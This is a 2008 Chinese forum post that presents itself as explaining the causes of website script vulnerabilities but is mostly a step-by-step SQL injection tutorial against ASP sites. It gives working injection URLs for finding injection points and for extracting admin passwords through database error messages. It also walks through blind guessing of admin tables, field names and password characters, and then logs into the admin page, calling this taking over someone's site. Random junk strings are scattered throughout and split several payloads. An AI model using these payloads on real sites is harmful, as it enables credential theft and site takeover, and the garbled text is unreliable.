过期域名预定抢注

用戶名  找回密碼
 免费注册

網站腳本漏洞形成的原因

[複製鏈接]
發表於 2008-1-15 16:39:02 | 顯示全部樓層 |閱讀模式
隨著網絡經濟的復舒,開始越來越多的網站湧現出來,隨著腳本漏洞的挖掘,黑客也越來越猖狂,並且越來越低齡化和傻瓜化。「你只要會用一個玩具就可以黑站」,這就是腳本漏洞利的特點。這些漏洞的主要成因是編程程序員的素質,往往在編寫asp或php等程序時候對字符的過濾不嚴密,對注入漏洞不瞭解,或者某個參數忘記檢查導致的。
4 I8 j+ o: X$ V1 J: Q: l6 W2 y# ^# P) e
由於編寫網頁程序這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。( Q6 `$ q. D+ V6 I1 B( M
7 N/ }! o. Q4 ?0 @" |- k) Q& e
相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。我們看一個例子:在本機建一個基於iis的asp程序http://localhost/test/show.asp?ID=3,將這個網址提交到服務器後,服務器將進行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數,本例即是3),再將查詢結果返回給客戶端,如果這裡客戶端故意提交這麼一個網址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:
6 ?; p7 N$ f- V, B* y' c4 |
; n, M% E2 @; x, E  ·錯誤類型:5 @8 f% m" f- I8 u# Z; g
. U9 X2 i# b+ f8 r, X
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)5 K) O9 m' R8 M
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 』test』 轉換為數據類型為 int 的列時發生語法錯誤。
# H! q# s6 S5 k# M8 I/test/show.asp, 第 34 行6 p& ~4 W. R6 d  W8 z
1 l, s9 g* ?7 H
從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數據庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數據的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當知道網站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這裡接著從客戶端提交這樣一個網址:. X& w* A& Z/ W9 e. e" Z- ?
http://localhost/test/show.asp?ID=4 and (Select password fro
8 @7 o1 T8 P9 z1 j( `8 W  D
3 Q5 B7 q/ M8 n# t0 Q5 fm login where user_name=』admin』)>0,返回的出錯信息如下:% U+ u% D$ a6 D5 y2 S
/ ~& l% U, P& _# l) p7 V# w
  ·錯誤類型:
) u3 F. V8 S/ M, P& ]" \5 H4 J
0 @' V0 `9 g# Y& {0 l; _1 M+ h' @Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
5 u1 ~! y! L! l- {) e- o  H$ R* \[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 』admin888』 轉換為數據類型為 int 的列時發生語法錯誤。
1 Y* A7 |3 v* j  T0 g/test/show.asp, 第 34 行+ I, u3 |' H, J# V6 v  ~1 C) b

2 n* K. \& h* k7 q現在出來了「admin888」就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網站了!當然我們並不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個玩具進行猜解,速度很快就可以找到你想要的東西了。前面是有關mssql數據庫的注入基礎,我們再看一看acce數據庫的注入基礎:首先進行瀏覽器的設置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標,選擇「屬性」,在彈出來的對話框中選擇「高級」選項卡,接著去掉「顯示友好的HTTP錯誤信息」前面的鉤,最後點擊「應用」按鈕即可。6 V4 h1 O4 J3 B( v; t8 a' D

% g+ {* B' N& v& s, Y) O! Y對於sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xx
$ k! \+ c2 s4 s, \4 Q+ u; x* V( I3 V2 A8 H0 O" ^! S
xx.com/xxx.asp?id=xx的url後加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx
8 ?. c3 J. c) u$ M$ K7 R
# e$ \5 W6 d0 V: H' \' L; t) z如果出現錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數據庫, 1=1是一個恆等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那麼一些初級的入侵者可能就會放棄這個站點。入侵者進一步向瀏覽器提交如下url: http: //www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恆不等式,如果該站點支持數據庫查詢,則大概會返回如下所示的信息:
0 Z2 f1 @0 G5 \0 {; e% o7 Z
8 d5 b# b4 X9 j) L" yMicrosoft vbscript 編譯器錯誤 錯誤碼率 4 I& }9 A7 P8 k

8 ~0 h. T! I9 N( z, ?『800a03f6』                                                                                                                 
9 O9 G! h2 r( u7 R( Q/ F
$ H! I3 J( V; ]( }7 d缺少』End』
4 o' b4 e! ~  q! C
& B! g% M3 I7 I. K; ^: Z( g$ j* ^/iishelp/common/500-100.asp,行242; |& f2 a) r" K% t& C+ P
, O$ H& p# h: s% B! |( Q
ADODB.Field 錯誤 『800a0bcd』1 \( U% S$ S, M9 `9 w
7 U( u/ V7 Z0 K- `7 G6 }
一般出現以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析:   
0 `* H+ x2 m" Y8 V8 B1 z3 V* ~8 H1 i
  如: 打開:http://hostlocal/test2/list.asp?id=17在其後面加′為http://hostlocal/test2/list.asp?id=17′
7 Z' i" R% a) K3 v- H出錯!顯示為:「數據庫出錯」。那麼接下來我們便進行如下操作:
1 o, ^* ?) q. }: W' U2 j- X/ [& G1 O  W  A3 h3 [2 W
1 猜管理員帳號表。- c( C& W, b# @8 z  G- D; E
2 猜相應表中的用戶的字段名以及密碼的字段名。2 U; t$ r8 o, @
3 猜出用戶名的長度和密碼的長度
, |/ b; ^8 X8 V; Z, [7 B3 F4 猜出用戶和密碼" E9 ?1 z8 m" Q# n
5 找到管理頁面進入管理
1 m/ z6 i/ Y9 D
+ F, ^* U: I+ }; d1 W3 n+ u3 y; A猜管理員的表:                           
9 c7 k. x& m  u! I; t8 J1 u) b( f$ O3 D+ x8 y
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)′//min(id)返回表中ID最小值$ ~# H' X; Z. E' r5 |$ d, }
返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。/ c8 A) S+ `2 }7 B( U* \
    ' g/ ?+ y* T) Q  ]) u7 E; ~
猜用戶的字段名:
9 M/ `9 w) s7 Z( {) d  ]http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user=′aaa′)返回錯誤信息,表示沒有user這個用戶段名
) o8 A  }; p1 s  |/ V# m$ K再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=′aaa′)
& U2 v; X- d+ q7 F, Z7 ^沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa! I& L# {1 J6 N

. L# V- C+ ]2 t' n. t" s$ l1 N猜密碼的字段名:
+ \: }  r* W: Y9 Dhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(i
, e/ X! t5 B- N& Z# k' T9 X! Y$ R: R, z
d) from admin where passwd=′aaa′)返回錯誤信息表示沒有passwd這個密碼字段名。                        
, I' u2 p7 t; i' A! i  }) J. r6 ^# @- i  k  {
再來:http://hostlocal/test2/list.asp?id=17 and 1=(select' m& B4 E, F+ O6 ~4 c* E3 e

8 E! E$ r: u4 `6 z( I. V min(id) from admin where password=aaa′)沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在password這個字段,只是密碼不是aaa
3 b" m) E; q2 Z
+ V  e' Y7 N( k- D猜用戶字段名長度:                          
3 `. {& I& @0 `' }  c
: s4 g" t5 q- F0 ]4 Q! E4 hhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(
. M: J# M; z2 S+ w/ L- ?  L( ^+ H
9 b, [: M( k& o! j. v) n, O# W- Eid) from admin where len(username)( s, w' [* g6 K4 ~  v
4 a" I7 T& r% [5 C+ f1 j
>5)                                                             & B$ m2 N& w& M+ l
" N8 j; L, E0 }( K6 e
正確
7 e# p# k- h: L! L  }6 I% |3 _http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)8 K, \, q% R' w9 f% a+ n, h' L
正確
/ U2 y, a' c/ `6 m1 A" g, c8 S用戶名長度大於5小於10/ _/ S5 @2 ?; f3 x' t2 Z1 w
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username): {  f. r# ]' J/ Q: @$ ?

6 @. E" l9 F' H* u2 k=7)                                                              ; r4 v7 [6 y; X: d& s

; o( F) [5 o$ f* s" n呵``` 用戶名長度為7位. J! W% e8 C7 N+ R* i
7 v0 R0 K* y% ]; E8 M' u! L0 q+ e
猜密碼長度:6 A" ]7 d# M* ~
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
( C9 _; `0 V9 A, d  G正確
0 |  T, ~" I$ @* mhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)
- x8 W/ G) U( L: w正確
3 y! l$ G, t* f: `密碼長度也是大於5小於102 z9 L- \* I) K
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)
0 P, y8 B" _/ p) Z呵``` 密碼長度為7位
: N8 C7 F8 u* v3 B" q  H+ w' l5 ~* Y+ p( A  |: }5 A
猜用戶名:
0 r  e3 N# K- c. m$ [4 K' Phttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)=′a′)
% i8 J. _* |5 L" d* ~/ T
) D6 @* E1 M1 n1 C$ ^ 用戶名第一個字母是:a                                                         
2 _- P$ i( Y% i6 n: S# K3 [! V$ `( y) K! O5 W' h5 B% w( X
猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=# {5 j, J0 U5 l6 N6 N" u! N

2 E% S! N; N( o. b(select min(id) from admin where mid(username,2,1)=′b′)                                             
% V% c$ |; j" Z" }, ?/ x! f! |5 I5 o8 [  j8 h9 m
以此類推!
# |( o$ A6 k; U) a- v
( [" M& i) s( [, z7 c& _( F0 V猜密碼:                                                                       / j9 X; _0 a9 f5 X, \) c. Z
# p/ J$ T5 d3 g3 A2 `+ y
猜密碼跟猜用戶名一樣!
8 A6 q# l# [: V0 F; rhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)=′a′) 2 ]9 F# L0 {" ?' m5 D' H! W
猜完後來到管理頁面:
1 M# {3 d3 m" r- r8 b+ Z% T& qhttp://hostlocal/test2/admin.asp
5 Y5 s, Q1 k7 h/ ?
# j1 l) Q( |6 O& w# J0 Y登錄
您需要登錄後才可以回帖 登錄 | 免费注册

本版積分規則

點基跨境 數位編輯創業論壇

GMT+8, 2025-4-8 14:39

By DZ X3.5

小黑屋

快速回復 返回頂部 返回列表